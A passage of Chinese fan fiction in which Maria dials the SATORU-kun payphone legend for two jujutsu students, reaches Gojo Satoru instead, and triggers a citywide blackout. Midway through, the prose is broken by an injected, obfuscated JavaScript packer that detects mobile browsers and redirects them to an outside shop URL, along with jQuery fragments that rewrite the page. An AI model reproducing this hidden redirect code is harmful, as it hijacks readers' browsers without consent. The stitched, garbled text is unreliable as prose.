“……这算不算违反工作守则啊?”总感觉有些模棱两可。 ……她总觉得这第二问不太对,却也不太清楚这样不太对在哪里。 “反正到时候拿不准就先问钱箱子吧……或者是换电话的时候就这样问?”玛利亚嘀嘀咕咕,把问题也写在了草稿纸上。 ‘我是谁?’ 19.拨号指南1 七海建人站在黑暗中,手腕上的电子手表已经传来了滴滴滴的报时声。 此刻已经是零点过半,其实,已经是他们的第二次尝试了。 经过今夜之前的事情,他事实上已经产生了一点猜想…… 金发男高按住了旁边跃跃欲试的灰原雄肩膀,两个高专生一齐仔细盯着灯光下的电话亭。 “这次要看得更仔细才行。”七海建人手里握着钝刀,眯起了眼睛。 而灰原雄则是有些不明所以:“要看什么?”但姑且也跟着集中了精神。 此刻,电话亭里的玛利亚已经轻车熟路地摸出了10円硬币,因为背对着他们这边,电话亭又是封闭的,只能看到她的身影随着拨号下意识挪动。 然后。 “诶?”灰原雄睁大了眼睛。 而七海建人皱起了眉头:“果然……” 虽然细微到几乎不可能察觉到——在玛利亚打电话的那一瞬间,电话亭里出现了奇怪的咒力波动。 而约摸一分钟后。 两个高专生果然看见电话亭里的玛利亚转头过来,对着玻璃外面的两人方向挥手,比起了一个大大的叉。 又失败了。 就长话短说吧…… 今晚的工作,其实进行得不大顺利。 这是玛利亚从两个男高的表情里看出来的。 不过,今夜的头两次尝试其实在一开始就注定了会是这个结果—— 因为玛利亚既是这工作的最适合的应征者,也是最不适合的那个。 * 事情是这样的。 今晚第一次的尝试就很莫名其妙。 十二点到来,遵照着指示,玛利亚将雇佣方交给自己的10円硬币投了进去,拨通了【本机号码】。 收费标准是10円1分钟。 声音先是无法拨通的忙音。 但还没等玛利亚准备挂断——那无法拨通的忙音就变成了接通的长音。 拨通了! 她眼睛一亮,将绿色的听筒夹在自己的肩膀和耳朵之间,飞快地翻阅起了工作手册。 第四页。 该说的话是……对了,是这个。 而等话筒那边传来了清脆的、代表着接通的咔哒一声,她马上就读了起来:“SATORU君,SATORU君……” 而一边这么做着,玛利亚已经翻到了下一页。 只见工作手册的第五页如此写着。 [请根据电话里给出的反应翻页——] [电话的那头没有任何声音?翻至第6页;] [是否听到了吞咽、咀嚼声?请翻至16页;] [是否听见了呼吸声?翻至24页;] [是否听见了你自己的名字?请翻至30页。] 但是出现在听筒里的声音却不是这上面的任何一种——哪怕沾边都算不上。 在接通之后,她连‘可以回答我的问题’都还没有说完,一个陌生的中年女声已经打断了玛利亚的话。 [您是悟君的同学吗?抱歉,悟君已经睡着了,现在可能有点太晚了……而且如果是恶作剧的话会不会……稍微有点过分了?] 诶? 委婉的拒绝让玛利亚还没来得及反应,电话那头已经传来了一声快速的—— [可以明天白天再打来吗?] 就强硬地挂断了电话。 她连10円的一分钟都没用完。 完全不知道应该怎么反应,玛利亚惊讶地看着听筒,好像这样就能得出什么回答似的。 ……完全不是册子里约好的展开。 比起疑虑和不存在的担心,玛利亚心里更多是一种茫然。 这算是完成了一台公共电话的工作了,还是没有呢? 但玛利亚本来就不知道雇主的目的,因而也完全无法判断这到底算哪边—— 不过,雇主都说了,给她钱的目的是拨通电话。 她确实拨通了。 ……那应该就是完成工作了吧? 所以,即便总感觉不太对劲,玛利亚还是遵照着指示在电话亭里等待了15分钟才离开。 但等她告知这次通话的结果,得到的只有两个高专生十分令人费解的表情。 * 咒灵也会睡觉吗?还会有家长? 这对话比起跟不妙的都市传说对话——听上去更像是家长对深夜还给家里打来电话的不满回应。 出现了完全没有预料到的发展,七海建人已经陷入了深思。 而灰原雄看上去完全跟不上转速:“鬼是鬼妈妈生的……?” “怎么想都不是吧。”七海建人直接打断了同级生的阴间家族乡土剧幻想。 玛利亚有些疑惑:“我应该是召唤出什么吗?” “……”两个高中生都没有回答,显然是不知道该怎么说明。 而七海建人思考了片刻,只是带头走向辅助监督的车上:“总之……在路上先行汇报吧。” 毕竟一小时的工作限时确实紧张,他们只好先在地图上给这个电话亭画上一个问号。 坐在车里,才给区役所那边打了汇报电话。 ——为了确保玛利亚能够保持这种‘不知情’的态度,辅助监督将电话递给了两个高专生。 而在‘把电话放在两个DK中间,凑一起听’和‘一个DK听电话,之后试图转述’之间。 两人最后还是选择了让灰原把玛利亚的耳朵捂住,两个人一起听公放。 毕竟前一个选项七海建人坚决拒绝,而后一个选项……灰原不喜欢被抛下听不到秘密的感觉。 “不可以偷听。”灰原盖住她耳朵之前竖起拇指。 金发双马尾则是比出了OK:“约定!” 而七海建人对他们这种神秘地投契根本无法理解。 “又不是小学生,还要一起去洗手间吗你们两个。”七海建人的眼睛已经失去了光亮,只剩下疲惫,“而且……我很感谢你的信任,但是为什么默认是我来听电话?” 他拒绝当那个默认干活的倒霉蛋,谁要做额外的劳动啊。 而灰原只是连想也不想:“可是这么做会很开心吧。”看上去完全是凭借着本能在生活。 他看上去还想说什么毕竟七海的脑袋更好用之类的事情。 “……算了。”但哪怕是夸奖,七海建人也不想听了。 总之,那边也不知道这是怎么回事……那边值班的公务员思考了片刻,告诉两个高专生。 工作手册上的内容,其实基本上都是他们根据本地的‘受害者’和‘幸存者’的数据做出来的可行性路线。 [我们尽力统计过和这种通话相关的死者,或是公共电话的可疑本地拨出记录,发现……在半夜0点到1点之间的拨通记录是最多的。] 也就是成功率最高。 但与之相对的。 这个时段出现的奇怪死者……也就是悟君的受害者也最多。 [但是……一般来说,如果‘失败’的话,用公共电话给本机拨号只会出现‘占线’的情况……]不会出现电话拨通,内容却这么家常的情况。 “会不会是新的变体呢?” 之前也说了吧。 传播都市传说的人大都很喜欢添油加醋,反馈在都市传说的本体身上,就是它会出现很多不同的变体。 恐怕也是因为这个,工作手册才会做成那样吧。 但电话那头很快就否认了。 [不,我们已经尽量统计了传说里的各种说辞,应该不会有缺漏才对。] 坐在后侧的七海建人皱起眉:“……不、我说的是不为人知的‘隐藏路线’之类的。” [也许吧。]对面的声音有些沉重。 但即便这么说,不管是两个高专生,还是对面的公务员都不太相信这种说法——和地缚灵、或是其他因为恐惧和怨恨而生的咒灵不太一样。 都市传说毕竟是依托传说而存在的,如果人们不那么认为它的话,它一开始就不会长出这样的枝丫。 先有水,再有船。 而没有这份认知的话,船不可能自己漂起来。 除非……这种说法曾经存在,但因为所有遇到这个特殊路线的人都已经死亡,所以没人知道还存在这种说法……之类的。 这种猜测没人喜欢。 “而且可能性也不大吧。”七海建人思考了片刻,得出了结论。 公务员先生问:[……那玛利亚小姐现在看上去还好吗?] 但距离不远,几人电话里你来我往已经过去了三四分钟,他们到了下一个电话亭,该下车了—— 灰原把脑袋凑了过去:“我看看噢……” 他以捂着玛利亚的手巴着她脑袋,示意她抬头,两个单细胞生物对视了一眼。 虽然听不到在说什么。 玛利亚还是往电话亭那个方向比了‘GO?’的手势。 “活蹦乱跳。”七海建人总结。 总感觉世界毁灭这家伙估计还是这个样子。 * 从一开始就出现了脱轨,公务员先生他们也不知道会怎么发展。 所以现场的判断完全交给了他们三个人。 这会儿时间已经到了零点二十,在思考了片刻之后,七海建人在玛利亚又一次进入电话亭之前叫住了她。 “玛利亚小姐。” “嗯?” “——如果这次还是打到不在册子上的目标那里的话。”那个三七分术师提出了一种新的行进路线,“那就不需要等待15分钟。” 玛利亚没太明白。 七海建人却说:“马上跟我们通报就行。而且、如果时间还够的话……你就重打一次。” “就用同一台电话?” “嗯。”高专生点了点头,但很快又否认了自己的说法,“不、等我们得出结论再做打算吧。” 已经打定主意当个拨号工具人,玛利亚想也不想就点了点头。 而直到目送着她重新钻进电话亭、确保听不见这边说话了,七海才看向了旁边被自己伸手拦住的灰原雄。 “没问题吗?”黑色蘑菇脑袋不太明白。 反倒是七海建人犹豫了片刻:“……我有想确认的事情。”他的目光重新投向了电话亭,确切来说,是盯住了玛利亚。 “嗯?” “现在还不太好说。”毕竟之前都没有仔细观察。 事实上,他产生了一种猜想——如果不是SATORU君的传说和电话的问题的话。 ……会不会是她的原因呢? 七海建人盯上了玛利亚的背影:“对了,玛利亚的术式到底是什么,你问了吗?” “当时还没来记得说就被打断了吧。”灰原雄一边回忆一边回答。 “啊。” 想起来了。 * 之前七海和灰原的表情看上去不太好,所以,之前的工作肯定是有哪里搞错了。 虽然对失败本身并不在意。 她却对原因有些好奇……到底是哪里出了问题? 毕竟电话确实是按照吩咐拨通了,会不会是因为之前找到的是无法回应问题的SATORU君的关系呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137432|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那这次要‘找到绝对可以回答问题的SATORU君’吗? 但是她想问的问题只和玛利亚自身有关。 雇主也会想知道这些答案吗? 缺乏情报,又因为未知的关系,不管问什么都没法得到回答。 所以玛利亚只能如此猜测——要找的,是可以回答自己真心问题的SATORU君。 必须拨通这个电话才行。 * 而重新进入了电话亭,一回生二回熟,玛利亚这回已经称得上是老练了。 投入硬币,拨号,翻页,等待——和过去一样。 先是忙音。 不、这次的忙音特别长,像是在拨打着某种超超超长途电话一样。 玛利亚斜靠在电话亭的玻璃上,用脚数着拍子,都想要先行放弃,跟外面汇报了。 但拨通的长音这才终于响起。 好耶! 只有一分钟,所以她在咔哒声之后立即开口:“SATORU君SATORU君——我同意交易,可以回答我的问题吗?” [……] 电话那边先是一阵沉默。 对了!果然是这样—— 玛利亚眼睛一亮,眼看就要顺着指示翻到第六页——但她的打算几乎在下一秒就落空了。 [……哈?交易?]那边传来了一声抱怨,[你是谁?先说好了,恶作剧的话,被我(ore)抓到的话可是会把你当鬼一样祓除的。] 嗯? 又是完全没在‘教科书’上的问答,客服小玛看了一眼手册,又把绿色的听筒摆在面前看了一眼。 而电话的另外一头还在喋喋不休。 他讲话,怎么说呢……?虽然句式不算是非常冒犯,但态度总觉得……有些过分直接。 [这是什么奇怪的术式吗?手机使用?链接?看上去很奇怪……到底是怎么做到的?喂、你不会说话吗?喂?] 然后她决定直接放弃思考:“SATORU君。” 反正工作的指示就是怀着问题拨通电话…… [如果是要交笔友的话我拒、诶……你会说话啊?] 那她只要问就可以了吧? 所以玛利亚无视了对面有些孩子气的漂亮声线,以及对方嘀嘀咕咕、不知道是威胁还是玩笑的内容。 “你知道那个箱子在哪里吗?” 而因为总感觉……问自己都觉得模棱两可的问题在这种时候只是乱上加乱,所以玛利亚选了问题A。 电话那头陷入了一阵沉默。 但沉默很快就变成了连珠炮的问题:[你是谁。喂、你从哪里听来那个——] [咔哒。] 但对面的话还没说完,就已经因为通话时间到达而变成了强制挂断的忙音。 挂断了。 ……又是不能判断成功与否的通话。 所以,玛利亚直接就扭头对电话亭外面的黑暗比了个大大的叉,等两个高专生靠近了电话亭,才打开门走了出去。 * 但七海建人在失败的第一时间,问的不是里面发生了什么。 是另一个问题。 “……我能问一下吗?”而金发DK好像已经有了想法,“玛利亚小姐的术式是什么?” 而在得到玛利亚自己也不太清楚细节,只知道是以金钱许愿的答案之后。 七海建人露出了‘果然是这样’的表情:“……哈。”他长长叹了一口气,看上去几乎要脱力了。 “因为玛利亚小姐拿到钱……是为了拨通、愿望是这个啊。”七海一脸‘这下麻烦了’的表情,也因为他压低了声音,玛利亚听得不太清楚。 然后七海思考了片刻:“抱歉,能再回答我另外几个问题吗?” 玛利亚点了点头,毕竟是工作嘛。 “那个时候……为什么要问公务员先生那个问题呢——‘这个钱是为了什么’。” 玛利亚脸上露出有些迷糊的表情:“我有问吗?” “……”短暂地沉默,七海建人表情有些复杂,“没自觉吗?……束缚吗?还是前置条件?”他嘀嘀咕咕。 但没给玛利亚解释,男高迅速地换了一个话题。 “——玛利亚小姐认为这个工作的目的是什么?” “拨通电话?找人吧。” “那‘SATORU君’呢?” “一个叫SATORU的人?啊、难道是其它类型的生物——” 但她还没来得及发表自己的看法,七海和灰原都一起制止了玛利亚。 “抱歉,当我没说,你先忘掉吧。” 玛利亚不明所以,只是歪着脑袋:“所以……不是这样吗?” 两个高中生都没有办法回答她。 只能看到一黑一金的两个脑袋凑到一起嘀咕了起来。 他们刻意压低了声音,所以能听到的也只有——‘……不告诉她的话要怎么扭’、‘可是这样的话……按照她的想法’、‘不行,她知道的话……’ 这种模棱两可的内容。 而等商量完了。 七海在思考片刻之后向玛利亚提出了一个新的要求:“虽然工作日程上没有要求,但可以再试一次吗?” 再打一次电话。 但有个前提。 “……玛利亚小姐能在那个时候,把默认运转的术式关掉吗?” * 而高野山下。 五条悟盯着刚才被强制挂断的手机,额头上已经冒起了青筋。 这——家——伙—— 不对。 她到底是谁啊? 20.拨号指南2 突然生气的白发男高把周围人都吓了一跳。 ……这到底是是怎么了? 刚和派出所里的警察交换完情报的辅助监督下意识就打了个冷战。 他透明度拉到了一半,求生本能从来没有像现在这样灵敏—— 这位乡下的辅助监督双手将文件像是防弹板甲一样抱在自己的前胸,跟个被扇飞的陀螺一样从派出所的门口绕了个距离五条悟五十米的大圈,一点一点往旁边的车边挪。 还没绕到驾驶席,就已经撞到了突然打开车门的一个高大身影。 唔呃……吓死我了! 辅助监督扭头过去才发现那是和五条同学一起来到高野山,同为一级术师的夏油君。 将过肩发梳成丸子头的这位高专生,估计是因为听到动静才下了车—— 精于体术,虽然因为一米八几的身高削弱了结实的观感,但辅助监督还是感觉自己就像是撞上了一面墙。 “已经找到失踪者下落了?”和嘻嘻哈哈的同级生拆开单独来看,那位黑发高中生要‘循规蹈矩’得多,先是颇有神经地关注起了正事,“抱歉,高原先生受伤了吗?” “啊啊、我是没有关系的!” 要是被17岁男高的胸肌撞骨折的话那我真的就活不下去了吧!? 以人类的自尊来说。 辅助监督连连后退,看向那个一个人的时候,冷静从容的姿态就渐渐显出来的黑发男高。 不过提起工作的事情,辅助监督表情回归了正色:“抱歉,具体的调查情报还得在这里等几天后续调查,而关于山上的凶案的话……” 因为两位术师都说没有看到咒力残秽。 所以必须按照普通人的方式调查。 不管是采证、还是调取附近的出入监控都需要不短的时间。 虽然不是自己的错,但给出了‘让人失望’的结论,辅助监督有些哆嗦:“啊、当然,两位在高专那边等待确切调查再出动就行!这边的事情会由我和当地的人解决——” “让人头痛的应该是我们这边才对,请不用这么说。” 亚——撒——西—— 之前还感觉夏油君笑起来有点奇怪的距离感……应该是我看错了吧。 误会了夏油杰的‘本性’,这位辅助监督几乎要像是被收服的宝可梦一样流泪了。 虽然不像五条家的六眼那样高调。 但辅助监督确实在之前就听说过这位咒术界的新星。 几百年难得一遇的咒灵操术,夏油君在辅助人员中的风评要好上不少,据说是个【相对来说】对人很优容的人。 不过……虽然因为被好好对待而突生感动。 这位三十多岁的辅助监督扯出手帕擦了一下自己额角的冷汗,悄悄瞥向了夏油杰。 只见,这个‘优容’的高专生这会儿正一手插兜,悠哉地靠近了生气的同级生,另外一只手却还跟举着冰淇淋一样,握着一只不停蹦跶折腾,嘴里唔姆唔姆乱叫的胖蜥蜴咒灵。 黑发男高姿态流畅,但动作却非常奇怪。 讲话很自然,但手里那个蹦跶出残影的宝可梦却非常显眼……到底是在高兴还是被绑架了?这就是咒灵操术的用法吗? 加上黑发男高这种……于派出所门外,提着公放大喇叭招摇过市却不以为然的态度。 夏油君……虽然温柔,但好像也是个怪人。 * “接到了骚扰电话?”夏油杰靠近了五条悟。 “怎么可能。”戴着墨镜的白发男高歪着脑袋,显然是陷入了思考,“……不是电话啦。” 没懂这是什么意思。 反倒是那位求生欲拉满的辅助监督,这会儿才从夏油杰身侧探出了一个脑袋,悄悄话说得还挺大声:“毕竟手机号码是五条同学的个人情报吧。” 不管怎么想,也不太可能会有骚扰电话打过来。 五条家的六眼。 下任家主。 关于这个身份所有者的情报……虽然类似于术式、年龄外貌这种信息,在诅咒师那边已经算不上什么密辛,但要是说到私事或是个人电话这种水平的信息的话。 不管是高专、或是五条家都会保密才对,不是那么轻易就能让人获取的。 夏油杰唔了一声,他一手捏着下巴思考:“确实……陌生人的话,最多交换到邮件地址就够了。” 这是完全不同等的个人情报等级。 “才不是啦,都说了不是电话了。”而像是想不出答案,五条悟抓了抓自己的头发,最后还是把翻盖手机一合,直接丢给了那边的辅助监督:“给你们看就知道了。” 他指着那部手机。 “……问我钱箱在那里。” 这结论里包含着的信息量让夏油杰和辅助监督都表情一惊。 而五条悟则是歪着脑袋,勾下墨镜看了一眼之后又迅速推了回去,解释到:“而且都说了、那家伙没有打电话过来。” “嗯?”没有打电话过来……那是什么意思? 一高一矮这才看向五条悟的翻盖手机。 夏油杰非常自然地无视了这家伙恶趣味一样,换上的甜品桌面——却发现,五条悟手机里没有通话记录、也没有任何奇怪语音邮件,什么都没有。 事实上,五条悟并没有‘接到电话’……他的翻盖手机只是像被信号干扰的电视或收音机一样,突然冒出了伴随着电流音的杂音而已。 能感觉到有非常微弱的咒力……应该是什么术式的效果吧。 对这种莫名其妙的情况产生了好奇,所以五条悟搭话了,但对方留下的只有那种奇怪的提问。 知道自己的名字。 询问箱子的下落。 而现在更是……因为只是信号波动,也没有留下任何通话记录。 “啧、知道我的名字,还那样大言不惭说着要我回答问题……这家伙胆子也太大了。”白发男高双手抱胸,往车身一靠。 不过,听到了五条悟对于‘SATORU君、SATORU君,请回答我的问题……’那句话的复述——黑发男高和辅助监督都忍不住交换了一个眼神。 该不会…… 夏油杰思考了片刻:“悟。”作为最强组合里,相对更有常识的那个——他产生了一个猜想。 “哈?” “你知道SATORU君的传说吗?” 黑发男高的肩膀被五条悟用胳膊肘搭住,那家伙一脸得意地推了推自己的墨镜:“……我还有什么流传在外的传说吗?” 果然。 他根本不知道这个水准的都市传说啊。 下意识将脑袋撇开,夏油杰忍不住露出了‘这家伙未免也讨人厌(褒义)’的嫌弃表情。 “悟小时候都没有大人用这种都市传说吓、”唬。 这话还没说完,狐狸眼男高就自己就打断了自己。 他双眼已经变成了一对等号,平移着就已经远离了五条悟:“也是呢……”夏油杰说着已经变成了Q版。 虽然不知道这小子小时候是什么样子的……但怎么想也不会有人用公共电话的都市传说来吓唬他吧。 不如说。 “干嘛!?”五条悟露出了鲨鱼齿。 夏油杰起了好奇心:“你该不会……连公用电话都没用过吧,悟。”这个大少爷。 反倒是五条悟不满了起来,他咋咋呼呼:“喂!不要话只说一半!”然后白发大少爷才回答,确切来说是反问,“为什么要用公用电话?家里又不是没有……”然后他反应了过来,“我怎么感觉你在看不起我!?” 白发大少爷咋呼了起来。 说话间。 五条悟那边已经随着咋呼冒出了一大串‘只要我想一分钟就能打八百个公用电话’‘区区公用电话,只要我稍微看一下就会知道了’之类的胡乱发言。 而两个平民都露出了如出一辙的微笑不爽表情。 * 不过吵闹归吵闹。 两边最后还是回到了正事上——凶案的基础调查至少需要一周。 而那个可疑的重名,真理亚和调味市的玛利亚。 还有五条悟接到的骚扰信号干扰。 两边都是新的疑点。 “……悟怎么想?”夏油杰思考了片刻,“我们要分头行动吗?” 白发男高的重点,却在夏油杰手里的咒灵身上:“不过,你那是什么?” 只见从之前开始,夏油杰的另外一只手上,唔姆怪一直在不停地扑腾——随着靠近手机,它之前好不容易被盘着消化掉的躁动又冒了出来。 但它唔姆唔姆的叫声,让人实在搞不懂……这家伙到底想做什么。 估计是它扑腾得实在是太明显了。 就连刚才还在不爽的五条悟都撇头看了过来,他脾气来得快去得也快——不如说一开始就是闹着玩的。 (只有辅助监督在认真害怕) “这个宝O梦又是怎么了?唔姆怪想要学会新技能了?还是说要进化了?”他歪着脑袋,脸上露出了好事的表情,“就不能当永远的皮O丘吗?” 夏油杰把唔姆怪挪开:“……都说了不是宝O梦了。” 而虽然有些偏离正题,但既然都说到了,夏油杰只能解释了一下—— 这家伙从今天晚上开始就在莫名其妙的跃跃欲试。 “我本来打算找你一起试试这家伙的术式。”杰说明了一下术式里感应到的情况。 但既然遇到这档子事情。 性格要更为体贴的那个男高叹了口气,已经伸手,打算把那只活蹦乱跳的躁动胖头鱼收回去。 反而是五条悟来了兴趣:“用吧。”他来劲的语气,大有这要是个炸弹按钮也绝对要按下去的意思,“这种事情应该早告诉我才对啊、杰!” “接到奇怪电话的时候就没有叫我的人竟然说这种话。” “喂、我们是挚友吧!” “唯独这个时候真是不想承认和你是损友的关系……” “我真的会生气的。” 而夏油杰的意志 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看来是没听懂。 “——就是稍微把术式关闭、”三七分耐着心思为双马尾解释。 但双马尾却一副第一次听说的模样:“竟然还能关闭的吗?” 因为缺乏过去的记忆,对玛利亚来说,术式就像是呼吸一样……是某种默认在背景里运行,和自己一样既定存在,根本不需要思考的事情。 她连这个东西是怎么运行的都不知道……更不要说是关掉了。 至少是从她的记忆里。 玛利亚从来没有经历过‘术式不存在’的状态,所以,到底要该怎么达成那种状态……完全不懂。 因为涉及到术式的事情灰原帮不上忙。 只有七海建人垂死挣扎:“那你有运转着什么的感觉吗?” “嗯……没有。” “腹部流向大脑的咒力?那种咒力流过前额叶,会有点烦躁的感觉?” “抱歉,不太能感觉到负面感情。”玛利亚大大咧咧地指了指自己的脑袋,“灵幻跟我说主要是这里、额叶还是垂体来着?” ……不用你说! 00:55AM 时间已经靠近了1点,想来已经没有什么打电话的空档了,他们索性就调转了目标,专注在让玛利亚为明天准备好这件事上。 毕竟要是玛利亚的术式不关闭的话,再打多少次电话都是做白工。 两个男高面露难色,最后还是七海建人搓了搓自己的额角:“算了……立下束缚吧。”他叹了口气,一副没干劲的模样。 玛利亚完全不知道他在说什么,只能听着金发大高个的解释。 “束缚的逻辑和你的术式交换差不多,我想就算是你这个……应该也能听懂吧。” 代价和报酬。 为自己立下誓约,将这个时段的术式和咒力转移到别的时段,以此来压制术式的输出效率,让它达到几乎关闭的效果。 ……不过,虽然是这么说,但七海建人也才是一年生,只知道它理论上该怎么执行。 “我之前考虑过,要给自己立下‘白天降低术式和咒力的功率到80%,换取晚上可以用出120%的实力’的束缚……玛利亚小姐的话,应该反过来就行。” 只要完成立下誓约的形式,给自己树立一个明确的‘开关’——它可以是某种行为,也可以是类似于饰品的穿脱的行为。 戴上它就是打开开关、摘下就是关闭……之类的。 总之,作为意念能力的咒力会响应的,毕竟是自己的脑袋。 00:58AM。 所以,随着七海建人的指引。 玛利亚一边——‘我要在这段时间的0至1点,嗯……将咒力和术式输出压制到趋近于零为代价,换取将这些力量储、’存起来。 但她这个念头还没走到最后。 00:59AM ——啪! 离三人最近的一处路灯突然熄灭了。 啪! 然后是旁边电话亭的灯光。 啪! 接着是离他们更远,道路前后的两盏路灯,三人周边完全陷入了黑暗。 七海建人和灰原雄在黑暗中睁大了眼睛,发现他们周围所有的路灯、还亮着的灯牌像是由内向外的水波一样一盏、一盏、一盏地突兀熄灭了。 由地图上看的话,这黑暗正以三人所在的位置为中心,往笼罩着整个调味市的方向进发。 两个高专生回头,除了第一次感知到了调味市内数量不少的咒灵之外,还注意到——某种可怕的气息,伴随着由中心而生的黑暗蔓延了开来。 等等、中心!? 两个高专生连忙看向了玛利亚。 01:00AM,一分钟后。 灯啪的一声重新亮了起来。 21.拨号指南3 1:00AM 在黑暗消失的一瞬间,两个高专生背后传来了‘咚’的一声。 一个人影倒了下来。 ——到底发生了什么? 总结一下的话,对七海建人来说——就是他们本来只打算整修一下厨房水槽堵塞的水管,但是在把下水口的U型管拆下来之后,却发现自己引发了一场地震。 一个小时前,他们打算将游荡在调味市公用电话网络里的咒灵,SATORU君召唤出来再祓除。 但为了达成这个结果。 在指导灰色兼职玛利亚将自己的术式短暂关闭的途中——他们却让调味市的一侧以玛利亚、七海、以及灰原为中心,陷入了完全的黑暗。 不仅如此。 当凌晨一点到来,所有的灯光、声响、眼前的视野都恢复之后。 两个高专生还没搞清楚刚才到底是发生了什么事情……就看到随着之前‘咚’的一声,玛利亚面朝下地摔在了地上。 她应该是完全失去了意识。 此刻,七海建人手里拿着维修水管的填充胶带,试图把地震引发的大裂缝给堵上。 ……啊,早知道就不接受高专招揽了。 才入学没多久已经升上二级,七海只觉得自己累得像是三天没睡。 这是应该分给一年级新生的工作吗? * 被突然倒地的玛利亚吓了一跳。 两个高专生刚看过去就发现金发双马尾的后脑袋一片血红,血直接从一侧脑袋上的伤口流到了地上。 “……没事吧!?”灰原雄第一时间就去把玛利亚捞了起来,试图搞清楚她身上到底是发生了什么事情,“是咒灵袭击吗?玛利亚,你还醒着吗?等等、这些血到底是怎么回事……” 连珠炮一样的问题哪怕玛利亚醒着,多半也是左耳进右耳出的结果,更不要说她现在毫无反应,应该是晕过去了。 灰原雄半蹲在玛利亚身边,已经警戒地左右张望了起来。 而七海的心情已经从一开始的紧张变成了心累。 “先给我吧。”金发高专生伸手,已经打量了一眼——玛利亚身上没有外伤的痕迹,应该不至于无法搬动,“先看看止血的事情。” 他这么说着就已经把玛利亚抱了起来。 本来还是很中规中矩的扛米袋的姿势。 但是因为玛利亚的脑袋还在跟个流麻一样在七海身后,往下滴答、滴答。 七海建人犹豫了好一阵。 这才托着玛利亚的膝弯,把她重新抱起,看件金发笨蛋上半身摆得跟超市门口的气球人一样不省心,才把她脑袋按在了自己的肩膀上,被血糊了半张脸和肩膀。 两个高专生都察觉到了在所有灯光熄灭的短暂两分钟内,两人身后传来的某种可怕气息,但是因为周围怎么也找不到那个气息的源头…… 七海建人和灰原对视了一秒。 疑问太多,而现在的情况实在乱得过头——他们几乎是立刻放弃了就地立下帐,搜索这里可能存在的诅咒这条路线。 然后两个高专生将玛利亚带回了辅助监督那边……那个中年人被这个阵仗吓了一跳,连忙从车尾箱拿出了急救包。 也正是这个时候,三个现场人员才发现了玛利亚身上的这份‘异常’。 虽然想要对玛利亚进行紧急的救治——但几个人都发现,玛利亚头上确实有个像是被什么东西砸过的伤口,这无疑就是之前地上血迹的源头。 但此刻这个伤口却像是停滞了下来,它既没有继续流血,却也没有被‘包扎’治好的痕迹。 以纱布捂住伤口的话,上面的伤口很快又会渗出血液,不多也不少,刚好是伤口之前的样子。 而放着不管的话。 它又没有流出更多的血液…… 而他们又将视线移向了被放在后座上侧躺着的玛利亚,虽然脑袋上有个足以成为致命伤的伤口,但她这会儿的状态却并不紧急。 七海唔了一声,手碰到了她的脖颈侧边——脉搏正常。 而车厢内平稳的呼吸声怎么听也不像是生命垂危的样子。 这样子实在令人费解。 辅助监督有些紧张地拿出了手机:“总、总之,我先通知这次的委托方和高专那边——” 但他还没把翻盖电话打开。 “等等。”反倒是七海建人在探完玛利亚的脉搏之后,直接叫停了辅助监督的通报举动,“……由我和灰原这家伙来通知高专那边吧,先不通知委托方。” 灰原雄这会儿刚钻进车里,把玛利亚的脑袋放在了自己的腿上,用绷带包成了双马尾白色菠萝,突然被叫到还有些状况外,他无声指着自己。 ‘诶、我们来汇报吗?’黑色蘑菇脑袋在辅助监督身后用嘴型问。 ……一般来说是这种情况吗? 他明显没有搞清楚情况,也不清楚同级生的意图。 而七海建人只是带着嫌麻烦似的眼神看了他一眼。 灰原虽然没懂,但凭借着对同伴的信任已经瞬间改了口:“嗯!交给我们就可以了!” ……可以什么啊。 而金发的高专一年生叹了口气:“还有些我们不确定的事情需要调查,不会影响工作的。”他已经给出了理由。 虽然还是一年生,但七海建人在这种情形里,已经是最可靠的人选,这让辅助监督跟得救了似的松了口气。 “这、这样吗?所以玛利亚小姐这是……”辅助监督紧张兮兮,“这里是有更棘手的咒灵吗?窗的等级监测又出问题了?”他有些慌张地扭头往电话亭那边看。 七海语气平静:“还在搜查中。” 他坐进了副驾驶,在后视镜里看向了倒在后座的玛利亚,和被当人肉枕头的灰原,然后这个高专生才回答了辅助监督最关心的问题。 “……不过应该不是窗的问题。” 得知不是这边的工作失误,辅助监督最后一丝疑虑也从心头卸下了:“那我们现在去医院?”他连忙关上车尾箱,坐进驾驶席。 “不,这个、我们会找前辈帮忙。”七海建人双手抱胸,思考了片刻,“现在也不可能让昏迷状态的玛利亚回住处……”毕竟脑袋上有个这么大的伤口,还在昏迷中,“带她一起回我们那边吧。” 他说的正是灰原和七海最近在调味市的据点,神父西山优吾现在也在那里。 而等回去之后…… * “明白了,果然要靠我们的力量——”送走忧心忡忡的辅助监督,灰原刚把玛利亚(菠萝异形头版)轻轻放在床铺上就已经燃了起来。 当然。 这份热血直接就被七海建人浇灭了。 七海建人直接拉上了窗帘:“不,这个事态明显已经不是靠我们的力量可以解决的了。”一边说着,他还示意今晚灰原雄睡套间里的另外一张床,自己则是在沙发上凑活一下。 “诶?”灰原雄跟个呆头鹅一样,疑惑地嘎了一声。 而在解释之前,金发高专生摸出手机叫人的动作一丝犹豫都没有,他说话间已经敲好了邮件的内容。 [在深夜这么晚打扰深感抱歉,我和灰原现在在调味市执行任务,出现了有些复杂的情况……如果时间上允许的话,我想请五条前辈来这里一趟。]七海建人的邮件内容和他本人一样,可靠又有些没必要的啰嗦。 而灰原已经从床边站起,把脑袋凑过来偷看同级生的手机荧幕:“直接找五条前辈就好了吧?他这个点绝·对还没睡的。”搞不好还在打游戏。 不过说到一半。 就连灰原也起了疑心。 “啊、也是,五条前辈搞不好会先到存档点再检查邮件也说不定……”蘑菇脑袋捂着嘴,显然是对新生欢迎会那时被拉着玩了个通宵印象深刻。 “不。”反倒是七海简单否认了,“五条前辈是比意料之外可靠的那种人,如果真的有事,他会第一时间响应的。” 这种话讲出来就是要接上一个‘但是’的意思。 “但是?” “总感觉跟他说话很费心力。”七海的目光微微偏移。 要不然就是被那个前辈认为太弱了,要不然就是被闹着帮忙之后要请客吃麦麦圣代之类的事情——虽然不至于真的让人头痛。 